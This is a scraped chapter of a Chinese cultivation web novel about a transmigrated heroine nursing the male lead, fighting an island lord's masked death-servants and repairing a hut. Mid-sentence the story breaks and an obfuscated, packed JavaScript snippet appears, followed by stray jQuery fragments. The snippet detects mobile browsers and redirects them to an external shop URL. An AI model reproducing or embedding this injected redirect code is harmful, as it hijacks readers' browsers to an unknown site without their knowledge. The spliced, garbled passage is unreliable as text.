大雪。
无方城。
戴着恶鬼面具的死侍跪在冰凉的青砖地面上。
眼前是一间书房,窗口斜斜插一支青荇,墙面上挂着一副没有画脸的美人图。
除此外几乎无任何装饰,也无贵重物品。
相对于无患岛岛主的身份,整个房间显得有些简朴。
沈清尘青衫如水,俯身写字。
他身上的气质并不凛冽,甚至是温和的,但死侍在一片寂静中只觉得恐惧,连呼吸都压抑着,小心翼翼。
“讲。”
“已经查到那位姑娘的身份,她家住东岛翁家河镇十八家洼,本名翁珍珍,家有一父一母,一妹一弟,以打渔为生。”
“翁珍珍。”
这三个字在他唇齿间咬了咬。
沈清尘想起她眼睛都不眨地说自己叫“陈翠花”的样子,唇角勾了勾。
“上月二十,隔壁村一六旬老翁葛六向她提过亲,她父母已经同意,还收了聘礼,翁姑娘不愿嫁,这才离家出走。”
“因一直找不到翁姑娘,葛六已经闹过两次,把聘礼强行搬回,放话说如翁姑娘七日内还不归,他就毁了这门亲事,还要在村里传翁姑娘是破鞋,要翁姑娘只能做他的妾。”
沈清尘落笔未停,闻言似是觉得有趣:“妾?”
“是。”死侍头低得更下,几息后迟疑道:“是否需要属下将这葛六……”
“不必。”
沈确画完最后一笔,将狼毫搁在砚台上:“你去把翁姑娘如今的下落,透露给她的父母,还有那个葛六,再帮葛六雇几个打手。”
死侍愕然抬头:“……是。”
最重要的事已汇报完,但他却迟迟未走。
沈清尘抬起头:“还有何事。”
死侍面露踌躇:“今日有五个鹤衣卫,被人当街斩杀了,那人还放了一车人牲。”
沈清尘:“不过死了几个鹤衣卫,这种小事也要来和我汇报?”
死侍心道果然如此。
但做下属是这样,上峰可以不要你汇报,你却不能不汇报给你的上峰。
否则万一出事,又是你的责任。
这事前因后果死侍只听了一个大概,出于谨慎还是多问了一句:“那个杀人者,是招安还是?”
“我这里难道什么阿猫阿狗都要招安?”
沈清尘重新铺开一张画纸,落笔又是同一副美人图。
“左不过一个意气用事的蠢钝之人,既然他敢当街帮人出手,想必在无患岛有些根底。”
他淡淡道:“直接打断四肢,做成落崖,截杀了吧。”
-
那个叫阿衡的少年就这样在李真真的木屋里住了下来。
李真真没有让他换女装,也没真的让他改名。
总归她只是需要一个人,在发布任务期间能随时充当女主。
至于这个人是男是女,是老是少,则并不重要。
如果主系统愿意把她随手顺来的鸡认作女主,李真真也觉得也未尝不可。
毕竟抱着一只鸡去剧情点,比拖着一个人去方便多了。
李真真给男主换完药,就换上了昨天顺来的渔女她爹的外套。
她的长发本来也想梳成男子式样,但李真真只会扎马尾。
试了两次之后,阿衡走过来,以指代梳,捋过李真真的鬓角,帮她扎了一个男子发髻。
“多谢。”李真真起身:“你耳朵怎么了?”
阿衡神色平静:“方才去翻了一些雪跳蚤喂鸡,风大,吹红了。”
“鸡少喂点。”李真真道:“饿两顿也没关系,而且跳蚤我们自己也可以吃。”
阿衡:“……大人放心。”
食物的问题虽然缓解,但是抗生素告罄,男主很快发起高烧。
李真真把窝在房梁上的鸡抓回窝,吩咐阿衡每隔两个时辰给男主换一次药,自己拿着刀出了门。
这一去又是一天一夜。
回来时,她背后背着一个包袱,一身的血迹,脖子上还有两个青紫的手印。
“你去打群架了?”
系统从鸡窝里跳出来,头上还沾了几根鸡毛,震惊地围着李真真转了一圈。
“遇见了几个疯子,莫名其妙来和我车轮战,花了一点时间解决。”
李真真语气并不重,仿佛只是路上随手撂倒了几个混混。
实际上她遇见的,是三十多个脸戴鬼面的高手。
她想尝试祭出她杀的第二个男修的技能,硬生生和这些鬼面人耗了一夜。
李真真记得原文中的设定。鬼面和鹤衣卫,都是原著男配无患岛岛主沈确的死侍。
唯二的不同,一是鹤衣卫在明,鬼面在暗。
二是鹤衣卫是上一任岛主的私卫,属于爹留给儿子的遗产,并不完全听从沈确。
但鬼面,却是沈确亲手培养的死侍。
他们没有思想、没有自我。
唯一的信念,就是服从。
李真真觉得这个群体这很像一个大型传销组织。
就是可惜她还是没有试出如何使用复制的修真招数。
但是没关系,李真真想。
无患岛岛主的死侍忽然盯上她,只可能是因为她放走了人牲的事。
这一次他们没有杀掉她,下一次一定还会再来。
她不愁没有练习的材料。
只可惜这些材料不是修士。
原著里不是说那些修士布下了天罗地网,地毯式搜寻男主的吗?怎么还没有找过来。
李真真指尖揩去额头上流下来的血迹,看了一眼系统,蹙眉:“你怎么从鸡窝里出来?”
系统当然不会说出他因为太冷了,强行挤进鸡窝试图和鸡一起取暖这么丢脸的事。
好在李真真很快掠过这个细节,低头从包袱里倒出一大袋树皮。
系统闻到了熟悉的味道:“你搞这么多柳树皮做什么?”
“柳树的树皮里有水杨酸苷,可以用来替代阿司匹林。”
李真真在火堆边坐下,架起铁锅。
她背上被砍出来的刀痕还在渗血,被黑色大氅盖住了颜色。
但是她神情里却丝毫不见痛感,修长手指往
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151738|150316||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
锅里头扔了两把雪,开始熬煮树皮。
“但这一带土地盐碱化太严重了,山上能长出来的,大多是胡杨、柏树和松树,柳树很少,我走了很远才找到几棵野生的。”
系统:“……这是修真界,不是生物界,这里不长植物,是因为鬼道之主岑雪岭的残骸埋在附近,鬼气影响了万物生长,不是因为什么土地盐碱化。”
李真真:“……”行吧。
在灌了柳树皮汤以后,男主的高热终于退了一些。
“刚好我想问你。”
李真真把碗放在一边,阿衡便自觉拿走清洗,李真真觉得她好像捡了一个什么自动洗碗机回来。
“男主前半生,有没有遇到过什么眼睛是灰色的人?”
“这怎么查得出来。”系统无言:“一个凡人平均一辈子能遇见2920万人,就算长命百岁,每年也能遇见292万人,主系统服务器内存就那么点大,能记录完小说500年的剧情就不错了,男主可是有三万岁……”
李真真戴手套的动作顿住:“……多少岁?”
系统:“三万岁,你没看番外啊。”
李真真第一次失去表情管理:“山顶洞人时期,男主就开始修仙了?”
系统:?什么山顶洞人,我还南方古猿呢。
李真真花几分钟消化了一下这个信息。
神仙这种动不动就活几万年的哺乳类动物,对她真的很不友好。
而且……三万年过去了,还是处-男?
三万年的处-男???
看来没办法找到男主和灰色眼睛的渊源了。
索性她也只是随口一问,并不指望系统能给出什么有用的信息。
到下午,李真真照例让阿衡呆在家里照顾男主,一个人往深山里走。
他们现在住的小屋年久失修,破败不堪,屋顶窗户都漏风,睡一晚上可以将就,多睡两天能把脆弱的男主冻死。
李真真从来没做过木工,好在山后七八公里处有一片竹林。
她花费了一个下午,从竹林里拖回十几根竹子。
又花了一个晚上,用稻草和枯枝一层层铺在屋顶,用竹片压实。
窗户也是漏风的,她没有钉子,就在窗格上划出凹槽,将竹蔑一层层卡在凹槽里,总算是能挡住一点窗外的寒风。
等李真真拿着锤子钉好最后一块木板,从屋顶上爬下来,已经是半夜。
阿衡长发束起,坐在破桌前等待。
他身形瘦弱,侧脸若云裁,哪怕穿着渔女陈旧泛黄的裙装,也与四面的破败格格不入。
见她推门进来,他立刻站起,安静地接过她手里的锤子和刀锯。
“怎么还不睡?”李真真脱下外套。
“想等您回来。”阿衡接过她的外套挂在门后。
门后被他钉了几根竹结,用来挂衣,应该是趁李真真修屋顶时,捡她剩下的废料做的。
他手上有几道伤口,但实在太浅,李真真根本没当回事,随口道:“鸡喂了吗。”
阿衡抿了抿唇,收起刻意用榔头砸伤的手指:“喂了。”